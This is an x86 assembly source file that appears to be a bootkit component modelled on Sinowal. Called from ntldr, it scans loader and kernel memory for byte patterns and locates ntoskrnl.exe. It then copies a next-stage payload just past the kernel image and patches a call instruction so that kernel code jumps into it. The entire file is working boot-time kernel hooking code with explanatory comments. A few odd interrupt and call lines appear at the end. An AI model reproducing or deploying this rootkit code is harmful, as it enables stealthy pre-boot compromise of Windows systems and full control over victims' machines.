
; Sinowal Ntoskrnl Hook Module
; called by ntldr  (Protected Mode, 32 bit)

[bits 32]

Ntldr_Hook:

; simulate original code (that was overwritten with the jump instruction)
mov esi,eax											                            ; execute original code which was hooked	[eax = 0]
test eax,eax
pushf														                            ; store flags for later return of simulated result
jnz Hook_Handler									                          ; if not matching we do not have to simulate the branch
add [esp+4],dword 0		                                      ; return EIP = +21h (like original code would have done it), patched on runtime
Hook_Handler:

pushad														                          ; store register content (later restored)
cld
mov edi,[esp+24h]								                            ; get return eip value (= 0x00422a75 / 0x00422a96, depending on original code simulation few lines above)
and edi,0FFF00000h								                          ; get ntldr module base address (store in edi)


; scan ntldr for signature (we need to copy some system values from runtime ntldr)
;   + C7 46 34 00 40    ...     A1
;     ntldr.19A44h              ntldr.19A51h
;			memory.0x00415915         memory.0x00415921
;   edi = base address of module ntldr (= 0x00400000)
mov al,0C7h
Scan_for_byte:
scasb															                          ; bad developer doesn't use rep prefix (pah)
jnz Scan_for_byte
cmp dword [edi],40003446h
jnz Scan_for_byte
mov al,0A1h
Scan_for_byte_2:
scasb
jnz Scan_for_byte_2

;	; what we have found is probably some load function in ntldr
;	0041591b: (                    ): mov word ptr ds:[esi+0x38], 0x0001	; 66c746380100
;	00415921: (                    ): mov eax, dword ptr ds:0x4682c4			; a1c4824600			at this address we refer to
;	00415926: (                    ): lea ecx, dword ptr ds:[eax+0x4]			; 8d4804
;	00415929: (                    ): mov edx, dword ptr ds:[ecx]					; 8b11
;	0041592b: (                    ): mov dword ptr ds:[esi], eax					; 8906
;	0041592d: (                    ): mov eax, dword ptr ss:[ebp+0x14]		; 8b4514
;	00415930: (                    ): mov dword ptr ds:[esi+0x4], edx			; 895604

mov esi,[edi]											                          ; 0x004682c4 (like load code above)
mov esi,[esi]											                          ; 
mov esi,[esi]											                          ; [esi] = 0x8008a090   <-- some system memory table
mov ebx,[esi+24]								                            ; get base address of ntoskrnl (= 0x804d7000)
mov ebp,ebx												                          ; store ntoskrnl.exe Module Address for later usage


; scan ntoskrnl.exe for code pattern (NOT signature)
;   + 6A 4B 6A 19 89/E8 ?? ?? ?? ?? ?? ?? E8/??				??... means any value, /... means second choice for positive match
;     ntoskrnl.1CE87E0h
;			memory.0x80683ec9
;   + E8 ?? ?? ?? ?? 84 C0
;     ntoskrnl.1CE87F3h             ntoskrnl.1CE87F8h
;			memory.0x80683ed8             memory.0x80683EDD
Scan_ntoskrnl_code_pattern:
inc ebx														                          ; next byte
cmp [ebx],dword 196A4B6Ah
jnz Scan_ntoskrnl_code_pattern
cmp byte [ebx+0x4],0x89
jnz Some_loop_part1_sigset				                          ; we have 2 possible signatures (of sig 1)
add ebx,dword 6
Some_loop_part1_sigset:
cmp byte [ebx+0x4],0E8h
jnz Scan_ntoskrnl_code_pattern
lea edi,[ebx + 9]									                          ; skip 9 bytes of the function code
mov al,0E8h												                          ; we look for a call near instruction
Some_loop_part2:
scasb
jnz Some_loop_part2
cmp word [edi+0x4],0xc084					                          ; if sig 2 not matching, search for sig 1
jnz Scan_ntoskrnl_code_pattern


; found function in ntoskrnl, found a call near instruction there we will use for hook later
;   edi = address of call near instruction (= 0x80683ed9), offset set to target RELATIVE address (= 0x00001459)
mov edx,[edi]
lea edx,[edx+edi+0x4]							                          ; calculate back the absolute calling address for our hook code to simulate the call

; get the address of the Kernel Code (ntoskrnl hook code)
call Get_EIP_ntldr                                          ; get current instruction pointer
Get_EIP_ntldr:
pop eax
and eax,0FFFFFC00h                                          ; 1 KB aligned address (because it was memory base in kb size that was used for relocation)
add eax,Ntoskrnl_Hook

; correct the next hook code (to store original call address and ntoskrnl address)
mov [eax+0x4],edx									                          ; [9f804h] = 80685336 .. find out what module ntoskrnl is calling here for!
mov [eax+0xc],ebp									                          ; [9f80Ch] = 804d7000   Module Address of ntoskrnl


; now write our next stage code after ntoskrnl.exe
;   eax = address of our next stage hook, disk.sector61
;   ebp = Module Address of ntoskrnl.exe
push edi
mov esi,[ebp+3Ch]								                            ; PE Header address
mov esi,[ebp+esi+50h]						                            ; SizeOfImage; size of ntoskrnl = 0x001f6b80
add esi,ebp												                          ; absolute end address = 0x806cdb80
dec esi
or esi,00000FFFh                                            ; end page
sub esi,000007FFh											                      ; - 2048 bytes (=> 2 KB alignment)
mov edi,esi												                          ; -> target address (directly after ntoskrnl)
xchg eax,esi											                          ; -> source is stage 3 hook, the sector
mov ecx,Total_End_of_Binary - Ntoskrnl_Hook
rep movsb
pop edi


; now hook kernel mode code (kernel module ntoskrnl.exe)
;   eax = target address of our hook code
;   edi = points to jump instruction in a function of ntoskrnl
sub eax,edi												                          ; let's calculate the relative jump address (target - source)
sub eax,4									                                  ; oddly enough but subtract 4 bytes of call near instruction opcode
stosd															                          ; store the to address to jump opcode


; return from our ntldr hooked code
popad															                          ; restore register content and
popf															                          ; set simulated flags of simulated original code

ret


int 'P'                 ; Diagnostic/Status Interrupt
int 'K'                 ; Service Interrupt
call word 0000h:"PK"    ; Service Call
